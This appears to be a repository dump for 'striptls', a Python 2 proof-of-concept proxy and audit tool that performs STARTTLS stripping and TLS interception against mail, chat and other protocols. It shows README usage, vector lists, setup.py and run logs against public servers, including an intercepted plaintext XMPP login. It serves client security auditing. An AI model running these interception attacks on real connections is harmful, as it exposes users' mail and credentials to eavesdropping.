    - DEBUG    - <Session 0xffd0926cL> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
    - WARNING  - <Session 0xffd0926cL> terminated.
    - DEBUG    - <ProtocolDetect 0xffd093ccL protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0xffd0934cL> client ('127.0.0.1', 28911) has connected
    - INFO     - <Session 0xffd0934cL> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripWithError new: True>
    - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] <= [server][mangled] '501 Syntax error\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] => [server][mangled] None
    - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '530 Authentication required\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] => [server]          'rset\r\n'
    - DEBUG    - <Session 0xffd0934cL> [client] <= [server]          '250 OK\r\n'
    - WARNING  - <Session 0xffd0934cL> terminated.
    - WARNING  - Ctrl C - Stopping server
    - INFO     -  -- audit results --
    - INFO     - [*] client: 127.0.0.1
    - INFO     -     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
    - INFO     -     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
    - INFO     -     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
    - INFO     -     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>

Strip STARTTLS from server capabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

::

    #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities
    - INFO     - <Proxy 0x1fe6e70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
    - INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripFromCapabilities at 0x01FE77D8>])}>
    - DEBUG    - <ProtocolDetect 0x1fe6f90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0x1fe6f10> client ('127.0.0.1', 20070) has connected
    - INFO     - <Session 0x1fe6f10> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '530 Authentication required\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] => [server]          'rset\r\n'
    - DEBUG    - <Session 0x1fe6f10> [client] <= [server]          '250 OK\r\n'
    - WARNING  - <Session 0x1fe6f10> terminated.

Invalid STARTTLS response code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

::

    #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode
    - INFO     - <Proxy 0x1fefe70 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
    - INFO     - <RewriteDispatcher attacks={25: set([<class __main__.StripWithInvalidResponseCode at 0x02010730>])}>
    - DEBUG    - <ProtocolDetect 0x1feff90 is_protocol=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0x1feff10> client ('127.0.0.1', 20061) has connected
    - INFO     - <Session 0x1feff10> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0x1feff10> [client] <= [server]          '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <Session 0x1feff10> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0x1feff10> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0x1feff10> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0x1feff10> [client] <= [server][mangled] '200 STRIPTLS\r\n'
    - DEBUG    - <Session 0x1feff10> [client] => [server][mangled] None
    - DEBUG    - <Session 0x1feff10> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
    - DEBUG    - <Session 0x1feff10> [client] <= [server]          '530 Authentication required\r\n'
    - DEBUG    - <Session 0x1feff10> [client] => [server]          'rset\r\n'
    - DEBUG    - <Session 0x1feff10> [client] <= [server]          '250 OK\r\n'
    - WARNING  - <Session 0x1feff10> terminated.

Untrusted SSL Intercept (for clients not checking server cert trust)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

::

    #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept
    - INFO     - <Proxy 0x1f468f0 listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
    - INFO     - <RewriteDispatcher attacks={25: set([<class __main__.UntrustedIntercept at 0x01F45298>])}>
    - DEBUG    - <ProtocolDetect 0x1f46a10 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
    - INFO     - <Session 0x1f46990> client ('127.0.0.1', 20238) has connected
    - INFO     - <Session 0x1f46990> connecting to target ('mail.gmx.net', 25)
    - DEBUG    - <Session 0x1f46990> [client] <= [server]          '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n'
    - DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
    - DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] '220 Go ahead\r\n'
    - DEBUG    - <Session 0x1f46990> [client] <= [server][mangled] waiting for inbound SSL Handshake
    - DEBUG    - <Session 0x1f46990> [client] => [server]          'STARTTLS\r\n'
    - DEBUG    - <Session 0x1f46990> [client] => [server][mangled] performing outbound SSL handshake
    - DEBUG    - <Session 0x1f46990> [client] => [server][mangled] None
    - DEBUG    - <Session 0x1f46990> [client] => [server]          'ehlo [192.168.139.1]\r\n'
    - DEBUG    - <Session 0x1f46990> [client] <= [server]          '250-gmx.com Hello [192.168.139.1] [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n'
    - DEBUG    - <Session 0x1f46990> [client] => [server]          'mail FROM:<a@b.com> size=10\r\n'
    - DEBUG    - <Session 0x1f46990> [client] <= [server]          '530 Authentication required\r\n'
    - DEBUG    - <Session 0x1f46990> [client] => [server]          'rset\r\n'
    - DEBUG    - <Session 0x1f46990> [client] <= [server]          '250 OK\r\n'
    - WARNING  - <Session 0x1f46990> terminated.

XMPP Audit Trail
~~~~~~~~~~~~~~~~

Example: Pidgin with optional transport security.

XMPP.StripInboundTLS - Inbound Plain - Outbound TLS - in case server requires starttls
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

::

        python striptls --listen 0.0.0.0:5222 --remote jabber.ccc.de:5222 -k ../server.pem
        - INFO     - <Proxy 0x7f08322ba310 listen=('0.0.0.0', 5222) target=('jabber.ccc.de', 5222)> ready.
        ...
        - DEBUG    - <ProtocolDetect 0x7f083196a810 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
        ...
        - INFO     - <Session 0x7f083196a7d0> client ('192.168.139.1', 56888) has connected
        - INFO     - <Session 0x7f083196a7d0> connecting to target ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripInboundTLS new: True>
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13821701589972978594' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server][mangled] performing outbound SSL handshake
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] => [server]          "<iq type='get' id='purple9f914f80'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='13515446948282835507' from='jabber.ccc.de' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          "<stream:error><invalid-namespace xmlns='urn:ietf:params:xml:ns:xmpp-streams'></invalid-namespace></stream:error>"
        - DEBUG    - <Session 0x7f083196a7d0> [client] <= [server]          '</stream:stream>'
        - WARNING  - <Session 0x7f083196a7d0> terminated.

XMPP.StripFromCapabilities - strip starttls server annoucement
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

::

        - DEBUG    - <ProtocolDetect 0x7f083196a990 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
        - INFO     - <Session 0x7f083196a910> client ('192.168.139.1', 56890) has connected
        - INFO     - <Session 0x7f083196a910> connecting to target ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.StripFromCapabilities new: True>
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='12381525525258986322' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server][mangled] "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/></stream:features>"
        - DEBUG    - <Session 0x7f083196a910> [client] => [server]          "<iq type='get' id='purplecfe2ee07'><query xmlns='jabber:iq:auth'><username>tin</username></query></iq>"
        - DEBUG    - <Session 0x7f083196a910> [client] <= [server]          "<stream:error><policy-violation xmlns='urn:ietf:params:xml:ns:xmpp-streams'></policy-violation><text xml:lang='' xmlns='urn:ietf:params:xml:ns:xmpp-streams'>Use of STARTTLS required</text></stream:error></stream:stream>"
        - WARNING  - <Session 0x7f083196a910> terminated.

XMPP.StripUntrustedIntercept - TLS Interception inbound and outbound with own certificate/key
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

::

        - DEBUG    - <ProtocolDetect 0x7f083196aa90 protocol_id=PROTO_XMPP len_history=0> - protocol detected (target port)
        - INFO     - <Session 0x7f083196a8d0> client ('192.168.139.1', 56892) has connected
        - INFO     - <Session 0x7f083196a8d0> connecting to target ('jabber.ccc.de', 5222)
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<?xml version='1.0' ?><stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <RewriteDispatcher  - changed mangle: striptls.UntrustedIntercept new: True>
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='10051743579572304948' from='jabber.ccc.de' version='1.0' xml:lang='en'><stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'><required/></starttls></stream:features>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] "<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server][mangled] waiting for inbound SSL Handshake
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] performing outbound SSL handshake
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server][mangled] None
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "stream:stream to='jabber.ccc.de' xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<?xml version='1.0'?><stream:stream xmlns='jabber:client' xmlns:stream='http://etherx.jabber.org/streams' id='6938642107398534259' from='jabber.ccc.de' version='1.0' xml:lang='en'>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<stream:features><c xmlns='http://jabber.org/protocol/caps' hash='sha-1' node='http://www.process-one.net/en/ejabberd/' ver='bvEOjW9q8CEw8mw8ecNTLXvY5WQ='/><register xmlns='http://jabber.org/features/iq-register'/><mechanisms xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><mechanism>PLAIN</mechanism><mechanism>X-OAUTH2</mechanism><mechanism>SCRAM-SHA-1</mechanism></mechanisms></stream:features>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          "auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN' xmlns:ga='http://www.google.com/talk/protocol/auth' ga:client-uses-full-bind-result='true'>AHRpbgB4eA==</auth>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] <= [server]          "<failure xmlns='urn:ietf:params:xml:ns:xmpp-sasl'><not-authorized/></failure>"
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '<'
        - DEBUG    - <Session 0x7f083196a8d0> [client] => [server]          '/stream:stream>'
        - WARNING  - <Session 0x7f083196a8d0> terminated.

XMPP Audit results
^^^^^^^^^^^^^^^^^^

::

        - WARNING  - Ctrl C - Stopping server
        - INFO     -  -- audit results --
        - INFO     - [*] client: 192.168.139.1
        - INFO     -     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
        - INFO     -     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
        - INFO     -     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>

repo_name: tintinweb/striptls

repo_language: Python


text:
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
from setuptools import setup

def read(fname):
    return open(os.path.join(os.path.dirname(__file__), fname)).read()

setup(
    name="striptls",
    version="0.5",
    packages=["striptls"],
    author="tintinweb",
    author_email="tintinweb@oststrom.com",
    description=(
        "poc implementation of STARTTLS stripping attacks"),
    license="GPLv2",
    keywords=["striptls", "starttls", "strip", "attack", "proxy"],
    url="https://github.com/tintinweb/striptls/",
    download_url="https://github.com/tintinweb/striptls/tarball/v0.5",
    #python setup.py register -r https://testpypi.python.org/pypi
    long_description=read("README.rst") if os.path.isfile("README.rst") else read("README.md"),
    install_requires=[],
    package_data={
                  'striptls': ['striptls'],
                  },
)


text:
![image](https://user-images.githubusercontent.com/2865694/143416063-b22e65a4-4005-453b-88d1-5477de56fdc4.png)

# striptls - auditing proxy
#### poc implementation of STARTTLS stripping attacks

A generic tcp proxy implementation and **audit tool** to perform **protocol independent** `ssl/tls` interception and `STARTTLS` stripping attacks on `SMTP`, `POP3`, `IMAP`, `FTP`, `NNTP`, `XMPP`, `ACAP` and `IRC`.

**Python2!**

##### :trophy: Trophies

* CVE-2016-0772  - [python: smtplib](https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-0772)
* CVE-2016-10027 - [Smack XMPP library](https://twitter.com/sylv1_secu/status/817305746828361728)

<sub>//Discovered a vulnerability with the help of this project? Drop me a line!</sub>

###### Requires:
 * Python >= 2.7.9 (`SSLContext`) < Python 3
 * (optional for tls interception) Certificate and PrivateKey in PEM format (single file) `--key=server.pem`

#### Vectors

* GENERIC
 * Intercept - protocol independent ssl/tls interception. peeks for TLS Handshake, converts socket to tls (tls-to-tls proxy)
 * InboundIntercept - protocol independent ssl/tls interception for the inbound channel only (tls-to-plain proxy)
* SMTP
 * SMTP.StripFromCapabilities - server response capability patch
 * SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, invalid response code
 * SMTP.UntrustedIntercept - STARTTLS interception (client and server talking ssl) (requires server.pem in pwd)
 * SMTP.StripWithTemporaryError
 * SMTP.StripWithError
 * SMTP.ProtocolDowngradeStripExtendedMode
 * SMTP.InjectCommand
 * SMTP.InboundStarttlsProxy - (starttls-to-plain proxy)
* POP3
 * POP3.StripFromCapabilities
 * POP3.StripWithError
 * POP3.UntrustedIntercept
* IMAP
 * IMAP.StripFromCapabilities
 * IMAP.StripWithError
 * IMAP.UntrustedIntercept
 * IMAP.ProtocolDowngradeToV2
* FTP
 * FTP.StripFromCapabilities
 * FTP.StripWithError
 * FTP.UntrustedIntercept
* NNTP
 * NNTP.StripFromCapabilities
 * NNTP.StripWithError
 * NNTP.UntrustedIntercept
* XMPP
 * XMPP.StripFromCapabilities
 * XMPP.StripInboundTLS
 * XMPP.UntrustedIntercept
* ACAP (untested)
 * ACAP.StripFromCapabilities
 * ACAP.StripWithError
 * ACAP.UntrustedIntercept
* IRC
 * IRC.StripFromCapabilities
 * IRC.StripWithError
 * IRC.UntrustedIntercept
 * IRC.StripWithNotRegistered
 * IRC.StripCAPWithNotregistered
 * IRC.StripWithSilentDrop

Results:

```python
- [*] client: 127.0.0.1
-     [Vulnerable!] <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
-     [Vulnerable!] <class striptls.StripWithTemporaryError at 0xffd4611c>
-     [           ] <class striptls.StripFromCapabilities at 0xffd316bc>
-     [Vulnerable!] <class striptls.StripWithError at 0xffd4614c>
- [*] client: 192.168.139.1
-     [Vulnerable!] <class striptls.StripInboundTLS at 0x7f08319a6808>
-     [Vulnerable!] <class striptls.StripFromCapabilities at 0x7f08319a67a0>
-     [Vulnerable!] <class striptls.UntrustedIntercept at 0x7f08319a6870>
```

## Usage

```
#> python2 -m pip install striptls
#> python2 -m striptls --help
```

```
#> python -m striptls --help    # from pip/setup.py
#> python striptls --help       # from source / root folder
Usage: striptls.py [options]

       example: striptls.py --listen 0.0.0.0:25 --remote mail.server.tld:25

Options:
  -h, --help            show this help message and exit
  -q, --quiet           be quiet [default: True]
  -l LISTEN, --listen=LISTEN
                        listen ip:port [default: 0.0.0.0:<remote_port>]
  -r REMOTE, --remote=REMOTE
                        remote target ip:port to forward sessions to
  -k KEY, --key=KEY     SSL Certificate and Private key file to use, PEM
                        format assumed [default: server.pem]
  -s, --generic-ssl-intercept
                        dynamically intercept SSL/TLS
  -b BUFFER_SIZE, --bufsiz=BUFFER_SIZE
  -x VECTORS, --vectors=VECTORS
                        Comma separated list of vectors. Use 'ALL' (default)
                        to select all vectors, 'NONE' for tcp/ssl proxy mode.
                        Available vectors: ACAP.StripFromCapabilities,
                        ACAP.StripWithError, ACAP.UntrustedIntercept,
                        FTP.StripFromCapabilities, FTP.StripWithError,
                        FTP.UntrustedIntercept, GENERIC.Intercept,
                        IMAP.ProtocolDowngradeToV2,
                        IMAP.StripFromCapabilities, IMAP.StripWithError,
                        IMAP.UntrustedIntercept,
                        IRC.StripCAPWithNotRegistered,
                        IRC.StripFromCapabilities, IRC.StripWithError,
                        IRC.StripWithNotRegistered, IRC.StripWithSilentDrop,
                        IRC.UntrustedIntercept, NNTP.StripFromCapabilities,
                        NNTP.StripWithError, NNTP.UntrustedIntercept,
                        POP3.StripFromCapabilities, POP3.StripWithError,
                        POP3.UntrustedIntercept, SMTP.InboundStarttlsProxy,
                        SMTP.InjectCommand,
                        SMTP.ProtocolDowngradeStripExtendedMode,
                        SMTP.StripFromCapabilities, SMTP.StripWithError,
                        SMTP.StripWithInvalidResponseCode,
                        SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept,
                        XMPP.StripFromCapabilities, XMPP.StripInboundTLS,
                        XMPP.UntrustedIntercept [default: ALL]
```

## Install (optional)

from pip

    #> pip install striptls

from source

    #> setup.py install

## Examples

	                  inbound                    outbound
	[inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target]
	  smtp-client                   striptls                    remote/target

local `smtp-client` -> `localhost:8825` (proxy) -> `mail.gmx.net:25`

### Generic SSL/TLS Interception

`--generic-ssl-intercept` is a global switch to enable generic ssl/tls handshake
detection and session conversion. Can be combined with any mangle/vector.

`GENERIC.Intercept` is a mangle/vector implementation of the ssl/tls handshake
detect and convert feature.

	# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:465 -x GENERIC.Intercept
	- INFO     - <Proxy 0x1fdcf50 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 465)> ready.
	- DEBUG    - * added vector (port:None , proto: GENERIC): <class __main__.Intercept at 0x0218AAB0>
	- INFO     - <RewriteDispatcher ssl/tls_intercept=False vectors={None: set([<class __main__.Intercept at 0x0218AAB0>])}>
	- INFO     - <Session 0x1ff00b0> client ('127.0.0.1', 8228) has connected
	- INFO     - <Session 0x1ff00b0> connecting to target ('mail.gmx.com', 465)
	- DEBUG    - <RewriteDispatcher  - changed mangle: __main__.Intercept new: True>
	- INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
	- INFO     - SSL Handshake detected - performing ssl/tls conversion
	- DEBUG    - <Session 0x1ff00b0> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1ff00b0> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1ff00b0> [client] => [server]          'hi\r\n'
	- DEBUG    - <Session 0x1ff00b0> [client] <= [server]          '500 Syntax error, command unrecognized\r\n'

	# python striptls.py -l 0.0.0.0:9999 -r mail.gmx.com:25 -x NONE --generic-ssl-intercept
	- INFO     - <Proxy 0x1efbf70 listen=('0.0.0.0', 9999) target=('mail.gmx.com', 25)> ready.
	- INFO     - <RewriteDispatcher ssl/tls_intercept=True vectors={}>
	- DEBUG    - <ProtocolDetect 0x1f21b70 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)
	- INFO     - <Session 0x1f10110> client ('127.0.0.1', 8290) has connected
	- INFO     - <Session 0x1f10110> connecting to target ('mail.gmx.com', 25)
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 gmx.com (mrgmx101) Nemesis ESMTP Service ready\r\n'
	- DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO openssl.client.net\r\n'
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello openssl.client.net [xxx.xxx.xxx.xxx]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n'
	- DEBUG    - <Session 0x1f10110> [client] => [server]          'STARTTLS\r\n'
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '220 OK\r\n'
	- INFO     - ProtocolDetect: SSL/TLS version: TLS_1_0
	- INFO     - SSL Handshake detected - performing ssl/tls conversion
	- DEBUG    - <Session 0x1f10110> [client] <> [      ]          SSL handshake done: ('ECDHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1f10110> [      ] <> [server]          SSL handshake done: ('DHE-RSA-AES256-GCM-SHA384', 'TLSv1/SSLv3', 256)
	- DEBUG    - <Session 0x1f10110> [client] => [server]          'EHLO A\r\n'
	- DEBUG    - <Session 0x1f10110> [client] <= [server]          '250-gmx.com Hello A [xxx.xxx.xxx.xxx]\r\n250-SIZE 69920427\r\n250AUTH LOGIN PLAIN\r\n'

### Audit Mode

iterates all protocol specific cases on a per client basis and keeps track of clients violating the starttls protocol. Ctrl+C to abort audit and print results.

	#> python striptls --listen localhost:8825 --remote=mail.gmx.net:25
	- INFO     - <Proxy 0xffcf6d0cL listen=('localhost', 8825) target=('mail.gmx.net', 25)> ready.
	- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripFromCapabilities at 0xffd4632c>
	- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.StripWithError at 0xffd4635c>
	- DEBUG    - * added test (port:21   , proto:     FTP): <class striptls.UntrustedIntercept at 0xffd4638c>
	- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripFromCapabilities at 0xffd4626c>
	- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.StripWithError at 0xffd4629c>
	- DEBUG    - * added test (port:143  , proto:    IMAP): <class striptls.UntrustedIntercept at 0xffd462cc>
	- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripFromCapabilities at 0xffd463ec>
	- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.StripWithError at 0xffd4641c>
	- DEBUG    - * added test (port:119  , proto:    NNTP): <class striptls.UntrustedIntercept at 0xffd4644c>
	- DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.StripWithError at 0xffd461dc>
	- DEBUG    - * added test (port:110  , proto:    POP3): <class striptls.UntrustedIntercept at 0xffd4620c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripFromCapabilities at 0xffd316bc>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithError at 0xffd4614c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithInvalidResponseCode at 0xffd3138c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.StripWithTemporaryError at 0xffd4611c>
	- DEBUG    - * added test (port:25   , proto:    SMTP): <class striptls.UntrustedIntercept at 0xffd4617c>
	- DEBUG    - * added test (port:5222 , proto:    XMPP): <class striptls.StripFromCapabilities at 0xffd464ac>
